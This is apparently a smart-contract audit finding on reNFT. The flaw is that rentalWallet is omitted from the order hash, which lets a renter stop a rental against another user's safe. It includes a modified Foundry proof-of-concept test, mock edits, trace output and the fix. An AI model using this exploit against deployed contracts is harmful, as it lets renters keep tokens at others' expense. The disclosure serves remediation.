reNFT - zach's results

Lines of code

https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/packages/Signer.sol#L162-L195 https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/src/policies/Stop.sol#L313

Vulnerability details

Impact

rentalWallet parameter in the order object can be arbitrarily specified and is not included in the orderHash calculation, it allows a renter to manipulate the rentalWallet field. In scenarios where two renters have borrowed the same ERC1155 token under the same ID, this vulnerability could be exploited to return the token from a different wallet (for instance, another user's safe wallet). As a result, the attacker's safe wallet retains its tokens, essentially allowing them to bypass the intended token return mechanism.

Proof of Concept

This is modified test function:

function fillOrder(ProtocolAccount memory offerer,ProtocolAccount memory fulfiller) public{
        // create a BASE order
        createOrder({
            offerer: offerer,
            orderType: OrderType.BASE,
            erc721Offers: 0,
            erc1155Offers: 1,
            erc20Offers: 0,
            erc721Considerations: 0,
            erc1155Considerations: 0,
            erc20Considerations: 1
        });

        // finalize the order creation
        (
            Order memory order,
            bytes32 orderHash,
            OrderMetadata memory metadata
        ) = finalizeOrder();

        // create an order fulfillment
        createOrderFulfillment({
            _fulfiller: fulfiller,
            order: order,
            orderHash: orderHash,
            metadata: metadata
        });
    }

    function test_StopRent_BaseOrder() public {
        fillOrder(alice, bob);
        // finalize the base order fulfillment
        RentalOrder memory rentalOrder = finalizeBaseOrderFulfillment();
        fillOrder(eve, dan);
        finalizeBaseOrderFulfillment();

        // speed up in time past the rental expiration
        vm.warp(block.timestamp + 750);

        // stop the rental order
        // bob stop rent using dan's safe wallet
        vm.prank(alice.addr);
--> replace rentalWallet        
	rentalOrder.rentalWallet = address(dan.safe);
        stop.stopRent(rentalOrder);

        // assert that the rental order doesnt exist in storage
        // assertEq(STORE.orders(orderHash), false);

        // assert that the token is no longer rented out in storage
        assertEq(STORE.isRentedOut(address(bob.safe), address(erc1155s[0]), 0), true);
        assertEq(STORE.isRentedOut(address(dan.safe), address(erc1155s[0]), 0), false);

        // assert that the ERC721 is back to its original owner
        // assertEq(erc721s[0].ownerOf(0), address(alice.addr));

        // assert that the offerer received a payment
        assertEq(erc20s[0].balanceOf(alice.addr), uint256(10100));

        // assert that the fulfiller made a payment
        assertEq(erc20s[0].balanceOf(bob.addr), uint256(9900));

        // assert that a payment was pulled from the escrow contract
        assertEq(erc20s[0].balanceOf(address(ESCRW)), uint256(100));
    }

Modifications to Ensure Same TokenID in Offers

1. MockERC1155.sol mint function https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/test/mocks/tokens/standard/MockERC1155.sol#L20-L23

function mint(address to, uint256 amount) public {
        _mint(to, _tokenIds, amount, "");
--> mint same tokenId
        // _tokenIds++; 
    }

2. OrderCreator.sol for ERC1155 Offer Items https://github.com/re-nft/smart-contracts/blob/3ddd32455a849c3c6dc3c3aad7a33a6c9b44c291/test/fixtures/engine/OrderCreator.sol#L167-L177

// generate the ERC1155 offer items
        for (uint256 i = 0; i < erc1155Offers; ++i) {
            // create the offer item
            orderToCreate.offerItems.push(
                OfferItemLib
                    .empty()
                    .withItemType(ItemType.ERC1155)
                    .withToken(address(erc1155s[i]))
 -->same Identifier .withIdentifierOrCriteria(0)
                    .withStartAmount(100)
                    .withEndAmount(100)
            );

            // mint an erc1155 to the offerer
            erc1155s[i].mint(orderToCreate.offerer.addr, 100);

            // update the used token so it cannot be used again in the same test
            usedOfferERC1155s[i]++;
        }

The test result indicates that after the stopRent, the token associated with Bob's rental (RentalSafe_bob) is marked as rented out (true), whereas Dan's rental (RentalSafe_dan) is not (false).

forge test --match-test test_StopRent_BaseOrder -vvvv

├─ [1361] STORE::isRentedOut(RentalSafe_bob: [0x88692116448567654284AFD9c6afF990a1F19ec2], MERC1155_0: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 0) [staticcall]
    │   ├─ [1032] STORE_IMPLEMENTATION::isRentedOut(RentalSafe_bob: [0x88692116448567654284AFD9c6afF990a1F19ec2], MERC1155_0: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 0) [delegatecall]
    │   │   └─ ← true
    │   └─ ← true
    ├─ [1361] STORE::isRentedOut(RentalSafe_dan: [0x85a776b3eb33aBFF5cA9E83D8355018112632f73], MERC1155_0: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 0) [staticcall]
    │   ├─ [1032] STORE_IMPLEMENTATION::isRentedOut(RentalSafe_dan: [0x85a776b3eb33aBFF5cA9E83D8355018112632f73], MERC1155_0: [0x03A6a84cD762D9707A21605b548aaaB891562aAb], 0) [delegatecall]
    │   │   └─ ← false
    │   └─ ← false
    ├─ [585] MERC20_0::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
    │   └─ ← 10100 [1.01e4]
    ├─ [585] MERC20_0::balanceOf(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e]) [staticcall]
    │   └─ ← 9900
    ├─ [585] MERC20_0::balanceOf(ESCRW: [0x86F07760ea0D108ceFEaF7000cD6B4A796854ac5]) [staticcall]
    │   └─ ← 100
    └─ ← ()

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 11.26ms

Tools Used

Manual Review

Recommended Mitigation Steps

Add order.rentalWallet as a field in the calculation of the order hash.

return
            keccak256(
                abi.encode(
                    _RENTAL_ORDER_TYPEHASH,
                    order.seaportOrderHash,
                    keccak256(abi.encodePacked(itemHashes)),
                    keccak256(abi.encodePacked(hookHashes)),
                    order.orderType,
                    order.rentalWallet,
                    order.lender,
                    order.renter,
                    order.startTimestamp,
                    order.endTimestamp
                )
            );

Assessed type

Other